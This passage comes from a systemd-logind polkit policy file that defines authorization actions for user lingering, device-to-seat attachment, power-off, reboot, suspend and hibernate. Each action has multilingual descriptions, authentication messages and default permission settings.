        <action id="org.freedesktop.login1.set-user-linger">
                <description>Allow non-logged-in users to run programs</description>
                <description xml:lang="de">Nicht angemeldete Benutzer dürfen Programme ausführen</description>
                <description xml:lang="el">Να επιτρέπεται σε μη συνδεμένους χρήστες να εκτελούν προγράμματα</description>
                <description xml:lang="fr">Permet aux utilisateurs non connectés d'exécuter des programmes</description>
                <description xml:lang="hu">Programfuttatás engedélyezése be nem jelentkezett felhasználók számára</description>
                <description xml:lang="it">Consenti agli utenti non connessi di eseguire programmi</description>
                <description xml:lang="pl">Zezwolenie niezalogowanym użytkownikom na uruchamianie programów</description>
                <description xml:lang="pt_BR">Permitir que programas sejam executados por usuários que não possuem sessão</description>
                <description xml:lang="ru">Разрешить пользователям оставлять программы в фоновом режиме после завершения сеанса</description>
                <description xml:lang="sv">Tillåt ej inloggade användare att köra program</description>
                <description xml:lang="uk">Дозволити незареєстрованим користувачам запускати програми</description>
                <message>Authentication is required to run programs as a non-logged-in user.</message>
                <message xml:lang="de">Legitimierung ist erforderlich, damit nicht angemeldete Benutzer Programme ausführen dürfen.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για να επιτρέπεται σε μη συνδεμένους χρήστες να εκτελούν προγράμματα.</message>
                <message xml:lang="fr">Authentification requise pour permettre aux utilisateurs non connectés d'exécuter des programmes.</message>
                <message xml:lang="hu">Hitelesítés szükséges a programfuttatáshoz be nem jelentkezett felhasználóként.</message>
                <message xml:lang="it">Autenticazione richiesta per consentire agli utenti non connessi di eseguire programmi.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby uruchamiać programy jako niezalogowany użytkownik.</message>
                <message xml:lang="pt_BR">É necessária autenticação para executar programas como usuário sem sessão aberta.</message>
                <message xml:lang="ru">Чтобы разрешить пользователям оставлять программы в фоновом режиме после завершения сеанса, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att köra program som en icke inloggad användare.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб дозволити незареєстрованим користувачам запускати програми.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
        </action>

        <action id="org.freedesktop.login1.attach-device">
                <description>Allow attaching devices to seats</description>
                <description xml:lang="de">Das Anschließen von Geräten an Arbeitsstationen erlauben</description>
                <description xml:lang="el">Να επιτρέπεται η προσάρτηση συσκευών στους σταθμούς εργασίας</description>
                <description xml:lang="fr">Permet d'associer des périphériques à des postes (seats)</description>
                <description xml:lang="hu">Eszközök csatolásának engedélyezése munkaállomásokhoz</description>
                <description xml:lang="it">Consenti di collegare dispositivi alle postazioni</description>
                <description xml:lang="pl">Zezwolenie na podłączanie urządzeń do stanowisk</description>
                <description xml:lang="pt_BR">Permitir conectar dispositivos em estações</description>
                <description xml:lang="ru">Разрешить подключение устройств к рабочим местам</description>
                <description xml:lang="sv">Tillåt att binda enheter till platser</description>
                <description xml:lang="uk">Дозволити під'єднання пристроїв до місць</description>
                <message>Authentication is required for attaching a device to a seat.</message>
                <message xml:lang="de">Legitimierung ist zum Anschließen eines Geräts an eine Arbeitsstation notwendig.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για προσάρτηση μιας συσκευής σε έναν σταθμό εργασίας.</message>
                <message xml:lang="fr">Authentification requise pour associer un périphérique à un poste (seat).</message>
                <message xml:lang="hu">Hitelesítés szükséges eszköz csatolásának engedélyezéséhez egy munkaállomáshoz</message>
                <message xml:lang="it">Autenticazione richiesta per collegare un dispositivo ad una postazione.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby podłączyć urządzenie do stanowiska.</message>
                <message xml:lang="pt_BR">É necessária autenticação para conectar um dispositivo em uma estação.</message>
                <message xml:lang="ru">Чтобы разрешить подключение устройств к рабочим местам, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att binda en enhet till en plats.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб під'єднувати пристрої до місць.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.flush-devices</annotate>
        </action>

        <action id="org.freedesktop.login1.flush-devices">
                <description>Flush device to seat attachments</description>
                <description xml:lang="de">Zurücksetzen der an eine Arbeitsstation angeschlossenen Geräte</description>
                <description xml:lang="el">Αφαίρεση συσκευής από προσαρτήσεις σταθμού εργασίας</description>
                <description xml:lang="fr">Révoquer les associations de périphériques aux postes (seats)</description>
                <description xml:lang="hu">Eszközök és munkaállomások csatolásainak törlése</description>
                <description xml:lang="it">Scollega i dispositivi dalla postazione</description>
                <description xml:lang="pl">Usunięcie podłączenia urządzeń do stanowisk</description>
                <description xml:lang="pt_BR">Liberar dispositivo para conexões da estação</description>
                <description xml:lang="ru">Сбросить привязки устройств к рабочим местам</description>
                <description xml:lang="sv">Töm bindningar för enhet-till-plats</description>
                <description xml:lang="uk">Очисний пристрій для під'єднань до місця</description>
                <message>Authentication is required for resetting how devices are attached to seats.</message>
                <message xml:lang="de">Legitimierung ist zum Zurücksetzen notwendig, wie Geräte an eine Arbeitsstation angeschlossen werden.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για επαναφορά του τρόπου που οι συσκευές προσαρτώνται στους σταθμούς εργασίας.</message>
                <message xml:lang="fr">Authentification requise pour révoquer les associations de périphériques aux postes (seats).</message>
                <message xml:lang="hu">Hitelesítés szükséges az eszközök munkaállomásokhoz csatolásainak alaphelyzetbe állításához.</message>
                <message xml:lang="it">Autenticazione richiesta per ripristinare come i dispositivi sono collegati alle postazioni.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby ponownie ustawić sposób podłączenia urządzeń do stanowisk.</message>
                <message xml:lang="pt_BR">É necessária autenticação para redefinir a quantidade de dispositivos conectados na estação.</message>
                <message xml:lang="ru">Чтобы сбросить привязки устройств к рабочим местам, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att återställa hur enheter är bundna till platser.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб перезапустити спосіб під'єднання до місць.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
        </action>

        <action id="org.freedesktop.login1.power-off">
                <description>Power off the system</description>
                <description xml:lang="de">Das System ausschalten</description>
                <description xml:lang="el">Σβήσιμο του συστήματος</description>
                <description xml:lang="fr">Éteindre le système</description>
                <description xml:lang="hu">A rendszer kikapcsolása</description>
                <description xml:lang="it">Spegnere il sistema</description>
                <description xml:lang="pl">Wyłączenie systemu</description>
                <description xml:lang="pt_BR">Desligar o sistema</description>
                <description xml:lang="ru">Выключить систему</description>
                <description xml:lang="sv">Stäng av systemet</description>
                <description xml:lang="uk">Вимкнути систему</description>
                <message>Authentication is required for powering off the system.</message>
                <message xml:lang="de">Legitimierung ist zum Ausschalten des Systems notwendig.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για την σβήσιμο του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour éteindre le système.</message>
                <message xml:lang="hu">Hitelesítés szükséges a rendszer kikapcsolásához.</message>
                <message xml:lang="it">Autenticazione richiesta per spegnere il sistema.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby wyłączyć system.</message>
                <message xml:lang="pt_BR">É necessária autenticação para desligar o sistema.</message>
                <message xml:lang="ru">Чтобы выключить систему, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att stänga av systemet.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб вимкнути систему.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
        </action>

        <action id="org.freedesktop.login1.power-off-multiple-sessions">
                <description>Power off the system while other users are logged in</description>
                <description xml:lang="de">Das System herunter fahren, während andere Benutzer angemeldet sind</description>
                <description xml:lang="el">Σβήσιμο του συστήματος ενώ άλλοι χρήστες είναι συνδεμένοι</description>
                <description xml:lang="fr">Éteindre le système alors que d'autres utilisateurs sont connectés</description>
                <description xml:lang="hu">A rendszer kikapcsolása miközben be vannak jelentkezve más felhasználók</description>
                <description xml:lang="it">Spegnere il sistema mentre altri utenti sono connessi</description>
                <description xml:lang="pl">Wyłączenie systemu, kiedy są zalogowani inni użytkownicy</description>
                <description xml:lang="pt_BR">Desligar o sistema enquanto outros usuários estão conectados</description>
                <description xml:lang="ru">Выключить систему, несмотря на то, что в ней работают другие пользователи</description>
                <description xml:lang="sv">Stäng av systemet medan andra användare är inloggade</description>
                <description xml:lang="uk">Вимикнути систему, коли інші користувачі ще в ній</description>
                <message>Authentication is required for powering off the system while other users are logged in.</message>
                <message xml:lang="de">Legitimierung ist zum Herunterfahren des Systems notwendig, während andere Benutzer angemeldet sind.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για σβήσιμο του συστήματος ενώ άλλοι χρήστες είναι συνδεμένοι.</message>
                <message xml:lang="fr">Authentification requise pour éteindre le système alors que d'autres utilisateurs sont connectés.</message>
                <message xml:lang="hu">Hitelesítés szükséges a rendszer kikapcsolásához miközben be vannak jelentkezve más felhasználók.</message>
                <message xml:lang="it">Autenticazione richiesta per spegnere il sistema mentre altri utenti sono connessi.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby wyłączyć system, kiedy są zalogowani inni użytkownicy.</message>
                <message xml:lang="pt_BR">É necessária autenticação para desligar o sistema enquanto outros usuários estão conectados.</message>
                <message xml:lang="ru">Чтобы выключить систему, несмотря на то, что в ней работают другие пользователи, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att stänga av systemet medan andra användare är inloggade.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб вимкнути систему, коли інші користувачі в ній.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.power-off</annotate>
        </action>

        <action id="org.freedesktop.login1.power-off-ignore-inhibit">
                <description>Power off the system while an application asked to inhibit it</description>
                <description xml:lang="de">Das System ausschalten, während eine Anwendung anfordert es zu unterbinden</description>
                <description xml:lang="el">Απενεργοποίηση του συστήματος ενώ μια εφαρμογή ζήτησε να αποτραπεί.</description>
                <description xml:lang="fr">Éteindre le système alors qu'une application a demandé de l'empêcher</description>
                <description xml:lang="hu">A rendszer kikapcsolása miközben egy alkalmazás ennek meggátlását kérte</description>
                <description xml:lang="it">Spegnere il sistema mentre un'applicazione chiede di inibirne l'azione</description>
                <description xml:lang="pl">Wyłączenie systemu, kiedy program zażądał jego wstrzymania</description>
                <description xml:lang="pt_BR">Desligar o sistema enquanto um aplicativo solicitou inibição</description>
                <description xml:lang="ru">Выключить систему, несмотря на то, что приложение запросило блокировку выключения</description>
                <description xml:lang="sv">Stäng av systemet även då ett program hindrar det</description>
                <description xml:lang="uk">Вимкнути систему, коли програми намагаються першкодити цьому</description>
                <message>Authentication is required for powering off the system while an application asked to inhibit it.</message>
                <message xml:lang="de">Legitimierung ist zum Ausschalten des Systems notwendig, während eine Anwendung anfordert es zu unterbinden.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για απενεργοποίηση του συστήματος ενώ μια εφαρμογή ζήτησε να αποτραπεί.</message>
                <message xml:lang="fr">Authentification requise pour éteindre le système alors qu'une application a demandé de l'empêcher.</message>
                <message xml:lang="hu">Hitelesítés szükséges a rendszer kikapcsolásához miközben egy alkalmazás ennek meggátlását kérte.</message>
                <message xml:lang="it">Autenticazione richiesta per spegnere il sistema mentre un'applicazione chiede di inibirne l'azione.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby wyłączyć system, kiedy program zażądał jego wstrzymania.</message>
                <message xml:lang="pt_BR">É necessária autenticação para desligar o sistema enquanto um aplicativo solicitou inibição.</message>
                <message xml:lang="ru">Чтобы выключить систему, несмотря на то, что приложение запросило блокировку выключения, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att stänga av systemet även då ett program hindrar det.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб вимкнути систему, коли програми намагаються першкодити цьому.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.power-off</annotate>
        </action>

        <action id="org.freedesktop.login1.reboot">
                <description>Reboot the system</description>
                <description xml:lang="de">Das System neu starten</description>
                <description xml:lang="el">Επανεκκίνηση του συστήματος</description>
                <description xml:lang="fr">Redémarrer le système</description>
                <description xml:lang="hu">A rendszer újraindítása</description>
                <description xml:lang="it">Riavviare il sistema</description>
                <description xml:lang="pl">Ponowne uruchomienie systemu</description>
                <description xml:lang="pt_BR">Reiniciar o sistema</description>
                <description xml:lang="ru">Перезагрузить систему</description>
                <description xml:lang="sv">Starta om systemet</description>
                <description xml:lang="uk">Перезавантажити систему</description>
                <message>Authentication is required for rebooting the system.</message>
                <message xml:lang="de">Legitimierung ist zum Neustart des Systems notwendig.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για επανεκκίνηση του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour redémarrer le système.</message>
                <message xml:lang="hu">Hitelesítés szükséges a rendszer újraindításához.</message>
                <message xml:lang="it">Autenticazione richiesta per riavviare il sistema.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby ponownie uruchomić system.</message>
                <message xml:lang="pt_BR">É necessária autenticação para reiniciar o sistema.</message>
                <message xml:lang="ru">Чтобы перезагрузить систему, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att starta om systemet.</message>
                <message xml:lang="uk">Для перезавантаження системи необхідна ідентифікація.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
        </action>

        <action id="org.freedesktop.login1.reboot-multiple-sessions">
                <description>Reboot the system while other users are logged in</description>
                <description xml:lang="de">Das Systems neu starten, während andere Benutzer angemeldet sind</description>
                <description xml:lang="el">Επανεκκίνηση του συστήματος ενώ άλλοι χρήστες είναι συνδεμένοι</description>
                <description xml:lang="fr">Redémarrer le système alors que d'autres utilisateurs sont connectés</description>
                <description xml:lang="hu">A rendszer újraindítása mialatt be vannak jelentkezve más felhasználók</description>
                <description xml:lang="it">Riavviare il sistema mentre altri utenti sono connessi</description>
                <description xml:lang="pl">Ponowne uruchomienie systemu, kiedy są zalogowani inni użytkownicy</description>
                <description xml:lang="pt_BR">Reiniciar o sistema enquanto outros usuários estiverem conectados</description>
                <description xml:lang="ru">Перезагрузить систему, несмотря на то, что в ней работают другие пользователи</description>
                <description xml:lang="sv">Starta om systemet medan andra användare är inloggade</description>
                <description xml:lang="uk">Перезавантажити, якщо інщі користувачі в системі</description>
                <message>Authentication is required for rebooting the system while other users are logged in.</message>
                <message xml:lang="de">Legitimierung ist zum Neustart des Systems notwendig, während andere Benutzer angemeldet sind.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για επανεκκίνηση του συστήματος ενώ άλλοι χρήστες είναι συνδεμένοι.</message>
                <message xml:lang="fr">Authentification requise pour redémarrer le système alors que d'autres utilisateurs sont connectés.</message>
                <message xml:lang="hu">Hitelesítés szükséges a rendszer újraindításához miközben be vannak jelentkezve más felhasználók.</message>
                <message xml:lang="it">Autenticazione richiesta per riavviare il sistema mentre altri utenti sono connessi.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby ponownie uruchomić system, kiedy są zalogowani inni użytkownicy.</message>
                <message xml:lang="pt_BR">É necessária autenticação para reiniciar o sistema enquanto outros usuários estiverem conectados.</message>
                <message xml:lang="ru">Чтобы перезагрузить систему, несмотря на то, что в ней работают другие пользователи, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att starta om systemet medan andra användare är inloggade.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб перезапустити систему, коли інші користувачі в ній.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.reboot</annotate>
        </action>

        <action id="org.freedesktop.login1.reboot-ignore-inhibit">
                <description>Reboot the system while an application asked to inhibit it</description>
                <description xml:lang="de">Das System neu starten, während eine Anwendung anfordert es zu unterbinden</description>
                <description xml:lang="el">Επανεκκίνηση του συστήματος ενώ μια εφαρμογή ζήτησε να αποτραπεί</description>
                <description xml:lang="fr">Redémarrer le système alors qu'une application a demandé de l'empêcher</description>
                <description xml:lang="hu">A rendszer újraindítása miközben egy alkalmazás ennek meggátlását kérte</description>
                <description xml:lang="it">Riavviare il sistema mentre un'applicazione chiede di inibirne l'azione</description>
                <description xml:lang="pl">Ponowne uruchomienie systemu, kiedy program zażądał jego wstrzymania</description>
                <description xml:lang="pt_BR">Reiniciar o sistema enquanto um aplicativo solicitou inibição</description>
                <description xml:lang="ru">Перезагрузить систему, несмотря на то, что приложение запросило блокировку выключения</description>
                <description xml:lang="sv">Starta om systemet även då ett program hindrar det.</description>
                <description xml:lang="uk">Перезапустити систему, коли програми намагаються першкодити цьому</description>
                <message>Authentication is required for rebooting the system while an application asked to inhibit it.</message>
                <message xml:lang="de">Legitimierung ist zum Neustart des Systems notwendig, während eine Anwendung anforderte es zu unterbinden.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για επανεκκίνηση του συστήματος ενώ μια εφαρμογή ζήτησε να αποτραπεί.</message>
                <message xml:lang="fr">Authentification requise pour redémarrer le système alors qu'une application  a demandé de l'empêcher.</message>
                <message xml:lang="hu">Hitelesítés szükséges a rendszer újraindításához miközben egy alkalmazás ennek meggátlását kérte.</message>
                <message xml:lang="it">Autenticazione richiesta per riavviare il sistema mentre un'applicazione chiede di inibirne l'azione.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby ponownie uruchomić system, kiedy program zażądał jego wstrzymania.</message>
                <message xml:lang="pt_BR">É necessária autenticação para reiniciar o sistema enquanto um aplicativo solicitou inibição.</message>
                <message xml:lang="ru">Чтобы перезагрузить систему, несмотря на то, что приложение запросило блокировку выключения, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att starta om systemet även då ett program hindrar det.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб перезапустити систему, коли програми намагаються першкодити цьому.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.reboot</annotate>
        </action>

        <action id="org.freedesktop.login1.suspend">
                <description>Suspend the system</description>
                <description xml:lang="de">Das System in Bereitschaft versetzen</description>
                <description xml:lang="el">Αναστολή του συστήματος</description>
                <description xml:lang="fr">Mettre le système en veille</description>
                <description xml:lang="hu">A rendszer felfüggesztése</description>
                <description xml:lang="it">Sospendere il sistema</description>
                <description xml:lang="pl">Uśpienie systemu</description>
                <description xml:lang="pt_BR">Suspender o sistema</description>
                <description xml:lang="ru">Перевести систему в ждущий режим</description>
                <description xml:lang="sv">Försätt system i vänteläge</description>
                <description xml:lang="uk">Призупинити систему</description>
                <message>Authentication is required for suspending the system.</message>
                <message xml:lang="de">Legitimierung ist zum Versetzen des Systems in Bereitschaft notwendig.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για την αναστολή του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour mettre le système en veille.</message>
                <message xml:lang="hu">Hitelesítés szükséges a rendszer felfüggesztéséhez.</message>
                <message xml:lang="it">Autenticazione richiesta per sospendere il sistema.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby uśpić system.</message>
                <message xml:lang="pt_BR">É necessária autenticação para suspender o sistema.</message>
                <message xml:lang="ru">Чтобы перевести систему в ждущий режим, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att försätta system i vänteläge.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб призупинити систему.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
        </action>

        <action id="org.freedesktop.login1.suspend-multiple-sessions">
                <description>Suspend the system while other users are logged in</description>
                <description xml:lang="de">Das System in Bereitschaft versetzen, während andere Benutzer angemeldet sind.</description>
                <description xml:lang="el">Αναστολή του συστήματος ενώ άλλοι χρήστες είναι συνδεμένοι</description>
                <description xml:lang="fr">Mettre le système en veille alors que d'autres utilisateurs sont connectés</description>
                <description xml:lang="hu">A rendszer felfüggesztése mialatt be vannak jelentkezve más felhasználók</description>
                <description xml:lang="it">Sospendere il sistema mentre altri utenti sono connessi</description>
                <description xml:lang="pl">Uśpienie systemu, kiedy są zalogowani inni użytkownicy</description>
                <description xml:lang="pt_BR">Suspender o sistema enquanto outros usuários estiverem conectados</description>
                <description xml:lang="ru">Перевести систему в ждущий режим, несмотря на то, что в ней работают другие пользователи</description>
                <description xml:lang="sv">Försätt systemet i vänteläge medan andra användare är inloggade</description>
                <description xml:lang="uk">Призупинити систему, коли інші користувачі в ній</description>
                <message>Authentication is required for suspending the system while other users are logged in.</message>
                <message xml:lang="de">Legitimierung ist zum Versetzen des Systems in Bereitschaft notwendig, während andere Benutzer angemeldet sind.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για αναστολή του συστήματος ενώ άλλοι χρήστες είναι συνδεμένοι.</message>
                <message xml:lang="fr">Authentification requise pour mettre le système en veille alors que d'autres utilisateurs sont connectés.</message>
                <message xml:lang="hu">Hitelesítés szükséges a rendszer felfüggesztéséhez miközben be vannak jelentkezve más felhasználók.</message>
                <message xml:lang="it">Autenticazione richiesta per sospendere il sistema mentre altri utenti sono connessi.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby uśpić system, kiedy są zalogowani inni użytkownicy.</message>
                <message xml:lang="pt_BR">É necessária autenticação para suspender o sistema enquanto outros usuários estiverem conectados.</message>
                <message xml:lang="ru">Чтобы перевести систему в ждущий режим, несмотря на то, что в ней работают другие пользователи, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att försätta systemet i vänteläge medan andra användare är inloggade.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб призупинити систему, коли інші користувачі в ній.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.suspend</annotate>
        </action>

        <action id="org.freedesktop.login1.suspend-ignore-inhibit">
                <description>Suspend the system while an application asked to inhibit it</description>
                <description xml:lang="de">Das System in Bereitschaft versetzen, während eine Anwendung anfordert dies zu unterbinden</description>
                <description xml:lang="el">Αναστολή του συστήματος ενώ μια εφαρμογή ζήτησε να αποτραπεί</description>
                <description xml:lang="fr">Mettre le système en veille alors qu'une application a demandé de l'empêcher</description>
                <description xml:lang="hu">A rendszer felfüggesztése miközben egy alkalmazás ennek meggátlását kérte</description>
                <description xml:lang="it">Sospendere il sistema mentre un'applicazione chiede di inibirne l'azione</description>
                <description xml:lang="pl">Uśpienie systemu, kiedy program zażądał jego wstrzymania</description>
                <description xml:lang="pt_BR">Suspender o sistema enquanto um aplicativo solicitou inibição</description>
                <description xml:lang="ru">Перевести систему в ждущий режим, несмотря на то, что приложение запросило блокировку</description>
                <description xml:lang="sv">Försätt systemet i vänteläge även då ett program hindrar det</description>
                <description xml:lang="uk">Призупинити систему, коли програми намагаються першкодити цьому</description>
                <message>Authentication is required for suspending the system while an application asked to inhibit it.</message>
                <message xml:lang="de">Legitimierung ist zum Versetzen des Systems in Bereitschaft notwendig, während eine Anwendung anfordert dies zu unterbinden.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για αναστολή του συστήματος ενώ μια εφαρμογή ζήτησε να αποτραπεί.</message>
                <message xml:lang="fr">Authentification requise pour mettre le système en veille alors qu'une application a demandé de l'empêcher.</message>
                <message xml:lang="hu">Hitelesítés szükséges a rendszer felfüggesztéséhez miközben egy alkalmazás ennek meggátlását kérte.</message>
                <message xml:lang="it">Autenticazione richiesta per sospendere il sistema mentre un'applicazione chiede di inibirne l'azione.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby uśpić system, kiedy program zażądał jego wstrzymania.</message>
                <message xml:lang="pt_BR">É necessária autenticação para suspender o sistema enquanto um aplicativo solicitou inibição.</message>
                <message xml:lang="ru">Чтобы перевести систему в ждущий режим, несмотря на то, что приложение запросило блокировку, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att försätta ett program i vänteläge även då ett program hindrar det.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб призупнити систему, коли програми намагаються першкодити цьому.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.suspend</annotate>
        </action>

        <action id="org.freedesktop.login1.hibernate">
                <description>Hibernate the system</description>
                <description xml:lang="de">Den Ruhezustand des Systems aktivieren</description>
                <description xml:lang="el">Αδρανοποίηση του συτήματος</description>
                <description xml:lang="fr">Mettre le système en hibernation</description>
                <description xml:lang="hu">A rendszer hibernálása</description>
                <description xml:lang="it">Ibernare il sistema</description>
                <description xml:lang="pl">Hibernacja systemu</description>
                <description xml:lang="pt_BR">Hibernar o sistema</description>
                <description xml:lang="ru">Перевести систему в спящий режим</description>
                <description xml:lang="sv">Försätt systemet i viloläge</description>
                <description xml:lang="uk">Приспати систему</description>
                <message>Authentication is required for hibernating the system.</message>
                <message xml:lang="de">Legitimierung ist zum Aktivieren des Ruhezustands des Systems notwendig.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για αδρανοποίηση του συστήματος.</message>
                <message xml:lang="fr">Authentification requise pour mettre le système en hibernation.</message>
                <message xml:lang="hu">Hitelesítés szükséges a rendszer hibernálásához.</message>
                <message xml:lang="it">Autenticazione richiesta per ibernare il sistema.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby zahibernować system.</message>
                <message xml:lang="pt_BR">É necessária autenticação para hibernar o sistema.</message>
                <message xml:lang="ru">Чтобы перевести систему в спящий режим, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att försätta systemet i viloläge.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб приспати систему.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
        </action>

        <action id="org.freedesktop.login1.hibernate-multiple-sessions">
                <description>Hibernate the system while other users are logged in</description>
                <description xml:lang="de">Den Ruhezustand des Systems aktivieren, während andere Benutzer angemeldet sind</description>
                <description xml:lang="el">Αδρανοποίηση του συστήματος ενώ άλλοι χρήστες είναι συνδεμένοι</description>
                <description xml:lang="fr">Mettre le système en hibernation alors que d'autres utilisateurs sont connectés</description>
                <description xml:lang="hu">A rendszer hibernálása mialatt be vannak jelentkezve más felhasználók</description>
                <description xml:lang="it">Ibernare il sistema mentre altri utenti sono connessi</description>
                <description xml:lang="pl">Hibernacja systemu, kiedy są zalogowani inni użytkownicy</description>
                <description xml:lang="pt_BR">Hibernar o sistema enquanto outros usuários estiverem conectados</description>
                <description xml:lang="ru">Перевести систему в спящий режим, несмотря на то, что в ней работают другие пользователи</description>
                <description xml:lang="sv">Försätt systemet i viloläge medan andra användare är inloggade</description>
                <description xml:lang="uk">Приспати систему, коли інші користувачі в ній</description>
                <message>Authentication is required for hibernating the system while other users are logged in.</message>
                <message xml:lang="de">Legitimierung ist zum Aktivieren des Ruhezustands des Systems notwendig, während andere Benutzer angemeldet sind.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για αδρανοποίηση του συστήματος ενώ άλλοι χρήστες είναι συνδεμένοι.</message>
                <message xml:lang="fr">Authentification requise pour mettre le système en hibernation alors que d'autres utilisateurs sont connectés.</message>
                <message xml:lang="hu">Hitelesítés szükséges a rendszer hibernálásához miközben be vannak jelentkezve más felhasználók.</message>
                <message xml:lang="it">Autenticazione richiesta per ibernare il sistema mentre altri utenti sono connessi.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby zahibernować system, kiedy są zalogowani inni użytkownicy.</message>
                <message xml:lang="pt_BR">É necessária autenticação para hibernar o sistema enquanto outros usuários estiverem conectados.</message>
                <message xml:lang="ru">Чтобы перевести систему в спящий режим, несмотря на то, что в ней работают другие пользователи, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att försätta systemet i viloläge medan andra användare är inloggade.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб присипання систему, коли інші користувачі в ній.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
